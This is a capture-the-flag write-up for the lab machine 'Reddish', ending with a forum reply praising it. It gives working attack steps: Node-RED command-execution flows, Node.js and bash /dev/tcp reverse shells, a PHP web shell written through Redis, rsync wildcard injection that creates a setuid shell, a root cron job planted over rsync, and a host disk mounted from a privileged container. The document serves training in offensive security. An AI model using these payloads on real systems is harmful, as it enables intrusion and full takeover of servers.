Reddish write-up, by 0xEA31


Turned out that I guessed that redis was on the box, way before the release, but this did not suffice to do this box easily. Upgraded from “medium” to “hard” and, finally, to “insane” after the release, the box is absolutely great and tough, way more if you do it as it was thought, via nodered and without metasploit.

So… let’s start!

Nmap fast

nmap -T4 -n -oA nmap/fast -vvv --top-ports 10000
# Nmap 7.70 scan initiated Sat Jul 21 21:02:24 2018 as: 
Nmap scan report for
Host is up, received echo-reply ttl 63 (0.14s latency).
Scanned at 2018-07-21 21:02:24 CEST for 189s
Not shown: 8305 closed ports
Reason: 8305 resets
1880/tcp open  vsat-control syn-ack ttl 62

# Nmap done at Sat Jul 21 21:05:33 2018 -- 1 IP address (1 host up) scanned in 188.87 seconds

Nmap targeted

nmap -n -oA nmap/targeted -p1880 -sC -sV
Starting Nmap 7.70 ( ) at 2018-08-07 18:42 CEST
Nmap scan report for
Host is up (0.026s latency).

1880/tcp open  http    Node.js Express framework
|_http-title: Error

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds

Searching for the first brushstroke of red

Since we have found an http server, let’s browse into it, with Burp as our proxy, as usual. With a we find an unfriendly:

Cannot GET /

But… if we cannot GET may be that we can POST? Yes, we can (seems so easy now, but it wasn’t at the time). Anyway, Nikto confirms:

nikto -h | tee nikto.txt
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        1880
+ Start Time:         2018-08-07 18:47:46 (GMT2)
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /favicon.ico, fields: 0xW/423e 0x1632cb8ed78 
+ Allowed HTTP Methods: POST 
+ 7500 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2018-08-07 18:54:31 (GMT2) (405 seconds)

So, in Burp, let’s change a GET to a POST

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 87
ETag: W/"57-5gVmW+IUL7M6oekncPl6scjimow"
Date: Tue, 07 Aug 2018 16:58:45 GMT
Connection: close


or, if you prefere, curl:

curl -i -s -k  -X $'POST' -H $'Host:' -H $'Content-Type: application/x-www-form-urlencoded' $''
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 87
ETag: W/"57-kFaXR1RSZeIzvObprSVHIPm9xEQ"
Date: Mon, 27 Aug 2018 19:10:05 GMT
Connection: keep-alive


A path, an id… seems we have to combine them:

# on a bash (we will need it later)

# on a browser


Talking about penetration testing, shall we try a glimpse of red?

Node-RED is a flow-based programming tool for the Internet of Things ( Since it is a programming tool, can we outline something suitable for pentesting, for instance a RCE? Yes!

Let’s start with a simple click&go RCE. We can find some basic tutorial on youtube so we should be able import this flow after some practice:

[{"id":"cedad8b.cde5ea8","type":"tab","label":"Flow 1"},{"id":"5be0b43c.daa0d4","type":"inject","z":"cedad8b.cde5ea8","name":"","topic":"","payload":"hostname; whoami; id;","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":160,"y":100,"wires":[["edd65e0c.12f8e8"]]},{"id":"13c480e6.33020f","type":"debug","z":"cedad8b.cde5ea8","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"payload","x":374.5,"y":360,"wires":[]},{"id":"edd65e0c.12f8e8","type":"exec","z":"cedad8b.cde5ea8","command":"bash -c","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":264.5,"y":220,"wires":[["13c480e6.33020f"],["13c480e6.33020f"],[]]}]

and fire it clicking on the “button” on the left of the first block. We should see the result in the debug tab (on the right):

For instance we can get the name of the server: nodered

Node reverse shell on Node-RED

Changing the RCE flow at each command is a pain in the neck, so why not implement a lovely node reverse shell on nodered? Of course it can be done from the above RCE, but… what about something more reddish?

[{"id":"903ee279.8fbea","type":"http in","z":"837e07cc.ac1378","name":"","url":"exec","method":"post","upload":false,"swaggerDoc":"","x":369.5,"y":117,"wires":[["6b719869.c029d8"]]},{"id":"6b719869.c029d8","type":"exec","z":"837e07cc.ac1378","command":"","addpay":true,"append":"","useSpawn":"false","timer":"5","oldrc":true,"name":"","x":870,"y":120,"wires":[["9daf85f7.64e938"],["9daf85f7.64e938"],["9daf85f7.64e938"]]},{"id":"9daf85f7.64e938","type":"http response","z":"837e07cc.ac1378","name":"","statusCode":"200","headers":{},"x":1220,"y":120,"wires":[]}]

Got the point? Not yet? Let’s issue some other commands:

# on a bash
nc -lnvp 443

# on another bash
curl -X POST -H "Content-Type: text/plain" --data-binary "node -p '(function(){var net = require(\"net\"),cp = require(\"child_process\"),sh = cp.spawn(\"/bin/bash\", [\"-i\"]);var client = new net.Socket();client.connect(443, \"$IP\", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();'"$id/exec

Got it? We have created a listener on Node-RED that takes our payload (in this case a node reverse shell) and execute it.

Esploring “nodered”

Once we are on “nodered” we realize that we are in a docker. And after a while we understand that there are no flags for us and no docker escapes are possible (at least the more common ones).
If nothing can be done in the box, let’s think out of the box:

cat /etc/hosts	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters	nodered	nodered

ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
11: eth1@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth1
       valid_lft forever preferred_lft forever
13: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever

ip neigh dev eth0 lladdr 02:42:8d:ae:54:8e REACHABLE dev eth1 lladdr 02:42:8b:ca:db:46 STALE dev eth1 lladdr 02:42:ac:13:00:02 STALE dev eth1 lladdr 02:42:ac:13:00:04 REACHABLE

We can assume that there is a DHCP somewhere… so we limit our ping scan to the first 254 hosts for each subnet:

for i in {1..254};do (ping 172.18.0.$i -c 1 -w 5 >/dev/null && echo "172.18.0.$i" &);done

for i in {1..254};do (ping 172.19.0.$i -c 1 -w 5 >/dev/null && echo "172.19.0.$i" &);done

nscan () {
[[ $# -ne 1 ]] && echo "No IP address provided" && return 1

for i in {1..10000} ; do
  (echo  > /dev/tcp/$SERVER/$PORT) >& /dev/null &&
   echo "Port $PORT seems to be open"

Port 80 seems to be open

Port 6379 seems to be open

Port 1880 seems to be open

Port 1880 seems to be open

Some educated guess:

  • a www server on
  • a redis server (google “tcp port 6379” >> Redis Protocol specification – Redis)
  • our host is, because port 1880 seems to be open there

Please note that IPs change over time.

Pivoting with Node-RED

This is, IHMO, the trickiest part of the machine. At least if you don’t know how to use Node-RED. Let’s start to say that all well known tools (wget, curl, nc) to explore other boxes dockers are missing. We can upload them, but, of course, we can even pivot via Node-RED. Even if the author of the box will deny, this is a pain in the… neck. A funny, interesting pain, indeed, but still a pain. Long story short, we can set up a sort of Node-RED port forwarding flow to explore the www server:

[{"id":"9daf85f7.64e938","type":"http response","z":"837e07cc.ac1378","name":"","statusCode":"200","headers":{},"x":1240,"y":260,"wires":[]},{"id":"67adf3fb.3e43d4","type":"http in","z":"837e07cc.ac1378","name":"","url":"www","method":"post","upload":false,"swaggerDoc":"","x":360,"y":260,"wires":[["c2f39c61.e9a1e8"]]},{"id":"c2f39c61.e9a1e8","type":"tcp request","z":"837e07cc.ac1378","server":"","port":"80","out":"time","splitc":"0","name":"","x":890,"y":260,"wires":[["9daf85f7.64e938"]]}]

Exploring www server (, via Node-RED

Once portforwarding is established we can literally “debug” our way to the server, with Burp and a lot of tries. The magic to get the root page of the internal www server is this CSRF request:

curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 9' \
    --data-binary $'GET /\x0d\x0a\x0d\x0a' \

On the server, among other things, we can find a comment:

* 1. Share the web folder with the database container (Done)
* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
* ...Still don't know how to complete it...

For sure we don’t know how to complete it too, at the moment. Anyway… we can confirm that /f187a0ec71ce99642e4f0afbd441a68b folder exists with another CSRF:

curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 42' \
    --data-binary $'GET /f187a0ec71ce99642e4f0afbd441a68b/\x0d\x0a\x0d\x0a' \

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Length: 318
Content-Type: application/octet-stream
ETag: W/"13e-pF56yJV6DMAo+m4NuPbVuPOg0gE"
Date: Mon, 06 Aug 2018 18:06:51 GMT
Connection: keep-alive

<title>403 Forbidden</title>
<p>You don't have permission to access /f187a0ec71ce99642e4f0afbd441a68b/
on this server.<br />
<address>Apache/2.4.10 (Debian) Server at Port 80</address>

Exploring redis server (, via Node-RED

Just for fun we can setup a Node-RED pivoting flow to redis server too…

[{"id":"9daf85f7.64e938","type":"http response","z":"837e07cc.ac1378","name":"","statusCode":"200","headers":{},"x":1240,"y":420,"wires":[]},{"id":"56c49560.fa45f4","type":"http in","z":"837e07cc.ac1378","name":"","url":"redis","method":"post","upload":false,"swaggerDoc":"","x":370,"y":420,"wires":[["a2d59896.0a49f8"]]},{"id":"a2d59896.0a49f8","type":"tcp request","z":"837e07cc.ac1378","server":"","port":"6379","out":"time","splitc":"0","name":"","x":900,"y":420,"wires":[["9daf85f7.64e938"]]}]

… and request an INFO response from it:

curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 10' \
    --data-binary $'INFO\x0d\x0a\x0d\x0a\x0d\x0a' \

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Length: 2748
Content-Type: application/octet-stream
ETag: W/"abc-Uh2eQdJ548e7Bi2C1C08RrXWXjw"
Date: Tue, 07 Aug 2018 22:09:59 GMT
Connection: keep-alive

# Server
os:Linux 4.4.0-130-generic x86_64

further details on INFO redis command can be found here.

Exploiting all the things in the box

Google is our friend: gives a handy minimal guide to deploy an RCE on the web server (remember the comment “Share the web folder with the database container (Done)”?)

# check $id
echo $id

# config set dir
curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 30' \
    --data-binary $'config set dir /var/www/html\x0d\x0a' \

# config set dbfilename
curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 31' \
    --data-binary $'config set dbfilename sys.php\x0d\x0a' \

# set test 
curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 47' \
    --data-binary $'set test \"<?php system($_REQUEST[\'cmd\']); ?>\"\x0d\x0a' \

# save 
curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 6' \
    --data-binary $'save\x0d\x0a' \

# locally
curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 175' \
    --data-binary $'GET /sys.php?cmd=hostname' \


It works! We have uploaded a RCE php script to www server via redis!

Let’s bash in a rush for a ready redis mush

To further explore redis we can set up a convenient bash alias:

reddish_redis () { curl -i -s -k  -X $'POST'     -H $'Content-Type: text/plain' -H $'Content-Length: 10'     --data-binary $1$'\x0d\x0a\x0d\x0a\x0d\x0a'     $"$id/redis"; }

reddish_redis INFO

It works, but nothing really interesting there…

Pivoting to www server (

Ok, stop playing with Node-RED! It’s time to pivot to www server ( Let’s upload a nc to nodered.

Wait wait wait… is it really needeed? Mhhh probably not, but… let’s do it because it’s easier than without it:

# locally
cp /bin/nc .
md5sum nc
base64 nc | xclip

# on nodered
echo 'paste_here_our_clipboard' > b64
cat b64 | base64 --decode > /tmp/nc
md5sum /tmp/nc
chmod +x /tmp/nc
/tmp/nc -lnvp 1234

# locally
curl -i -s -k  -X $'POST' \
    -H $'Content-Type: text/plain' -H $'Content-Length: 175' \
    --data-binary $'GET /sys.php?cmd=%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%6e%6f%64%65%72%65%64%2f%31%32%33%34%20%30%3e%26%31%27\x0d\x0a' \

The last step is, again, a tricky one. Let’s explain it: we are firing the reverse shell from www ( to nodered, using its FQDN:

/bin/bash -c 'bash -i >& /dev/tcp/nodered/1234 0>&1'
# urlencoded as

Exploring www server ( from a shell

Since we are on a new server (another docker indeed), we have to do some basic exploration:

cat /etc/hostname

cat /etc/hosts

cat /backup/

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

Talking about rsync, we should get some basic information of what’s going on…

man rsync
Local:  rsync [OPTION...] SRC... [DEST]
Access via remote shell:
  Pull: rsync [OPTION...] [USER@]HOST:SRC... [DEST]
  Push: rsync [OPTION...] SRC... [USER@]HOST:DEST
Access via rsync daemon:
  Pull: rsync [OPTION...] [USER@]HOST::SRC... [DEST]
        rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]
  Push: rsync [OPTION...] SRC... [USER@]HOST::DEST
        rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST

…so we can induce that rsync daemon flawoured is running on backup server

Exploiting rsync and get the user flag

Ok, we kinda got what rsync is used for but, in order to exploit it, we need more info. Google helps us:

so, we have a globbing opportunity to try:

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
echo '#!/bin/bash
cp /bin/bash /tmp/test
chmod 4777 /tmp/test' > test.rdb

touch -- '-e sh test.rdb'

Now we have to wait that cronjob executes (3 minutes?) and we can finally get our users flag.

/tmp/test -p 
cat /home/somaro/user.txt

What did we actually do? We exploited the 2nd line in the script rsync -a *.rdb rsync://backup:873/src/rdb/, forcing the cron job to copy a bash to a local temp file and giving it suid power, via a forged, file name based command -e sh test.rdb.

Pivoting to the root flag

Looking in the box docker for further exploitation, we found almost nothing. Instead, we can find something out of the box docker:

ping -c 1 backup
PING backup ( 56(84) bytes of data.

Port 873 seems to be open

Since 873 is the only open port on “backup” a remote exploitation of rsync seems to be the only option to try. First of all we try to do a little of enumeration, listing file on “backup”:

rsync --list-only rsync://root@backup:873/
rsync --list-only rsync://root@backup:873/src/etc/cron.d/

Since we can see root cron jobs, rsync should be installed as root remotely, so we may try to upload a cron job with a reverse shell:

echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/www/7411 0>&1"' > /tmp/cronzero
rsync -a /tmp/cronzero rsync://root@backup:873/src/etc/cron.d/
rm /tmp/cronzero

waiting up to a minute on www, with a listening nc on 7411, should result in a reverse shell.

# locally
base64 nc | xclip

# on www
cd /tmp
echo 'paste_here_our_clipboard' > b64
cat b64 | base64 --decode > /tmp/nc
md5sum /tmp/nc
chmod +x /tmp/nc
/tmp/nc -lnvp 7411

# on www
nc -lnvp 7411

The root flag

When I finally got here the box was still rated “medium”. Yuntao, were you joking, weren’t you?
Anyway, let’s get the flag:

cd /mnt
mkdir 1 
mount /dev/sda1 1
cd 1
cd root
cat root.txt
cd /

Uh? What the hell? Ok, ok… long story short, if you are on a unprivileged docker you can’t see all the devices. But if you are in an privileged docker, you can:

cd /dev
cd /dev
root@backup:/dev# ls -la
ls -la
total 4
drwxr-xr-x 14 root root        3720 Sep 29 19:42 .
drwxr-xr-x  1 root root        4096 Jul 15 17:42 ..
brw-rw----  1 root disk      8,   0 Sep 29 19:42 sda
brw-rw----  1 root disk      8,   1 Sep 29 19:42 sda1
brw-rw----  1 root disk      8,   2 Sep 29 19:42 sda2
brw-rw----  1 root disk      8,   3 Sep 29 19:42 sda3
brw-rw----  1 root disk      8,   4 Sep 29 19:42 sda4
brw-rw----  1 root disk      8,   5 Sep 29 19:42 sda5

And you can also mount them…


  • get hostname from (a) redis (redis-cli, the Redis command line interface – Redis):

    • $ redis-cli -x set foo < /etc/hostname
    • $ redis-cli getrange foo 0 50
  • netstat is limited? use ss

  • As you have seen the previous flows where all with IP. After getting into any docker we can get the FQDN of all of them and we can write down this multiple flow on node-red:

[{"id":"571d3e75.251a1","type":"tab","label":"Flow 1"},{"id":"6de461c2.442b9","type":"http in","z":"571d3e75.251a1","name":"","url":"exec","method":"post","upload":false,"swaggerDoc":"","x":369.5,"y":117,"wires":[["9b8d25b3.e88168"]]},{"id":"9b8d25b3.e88168","type":"exec","z":"571d3e75.251a1","command":"","addpay":true,"append":"","useSpawn":"false","timer":"5","oldrc":true,"name":"","x":870,"y":120,"wires":[["ef69d762.9b80c8"],["ef69d762.9b80c8"],["ef69d762.9b80c8"]]},{"id":"ef69d762.9b80c8","type":"http response","z":"571d3e75.251a1","name":"","statusCode":"200","headers":{},"x":1240,"y":260,"wires":[]},{"id":"8f313a05.b4584","type":"http in","z":"571d3e75.251a1","name":"","url":"www","method":"post","upload":false,"swaggerDoc":"","x":360,"y":260,"wires":[["d0fb984c.41c2a"]]},{"id":"d0fb984c.41c2a","type":"tcp request","z":"571d3e75.251a1","server":"www","port":"80","out":"time","splitc":"0","name":"","x":870,"y":260,"wires":[["ef69d762.9b80c8"]]},{"id":"ef0de5cc.18f69","type":"http in","z":"571d3e75.251a1","name":"","url":"redis","method":"post","upload":false,"swaggerDoc":"","x":370,"y":420,"wires":[["54051ad0.6db8ec"]]},{"id":"54051ad0.6db8ec","type":"tcp request","z":"571d3e75.251a1","server":"redis","port":"6379","out":"time","splitc":"0","name":"","x":880,"y":420,"wires":[["ef69d762.9b80c8"]]}]

This is useful, for instance, if someone resets the box while you are working on the third docker figuring out how to get that damn flag out of the box…

i’ve read all writeups about reddish, all are excellent, but that one is the more efficient

@peek said:
i’ve read all writeups about reddish, all are excellent, but that one is the more efficient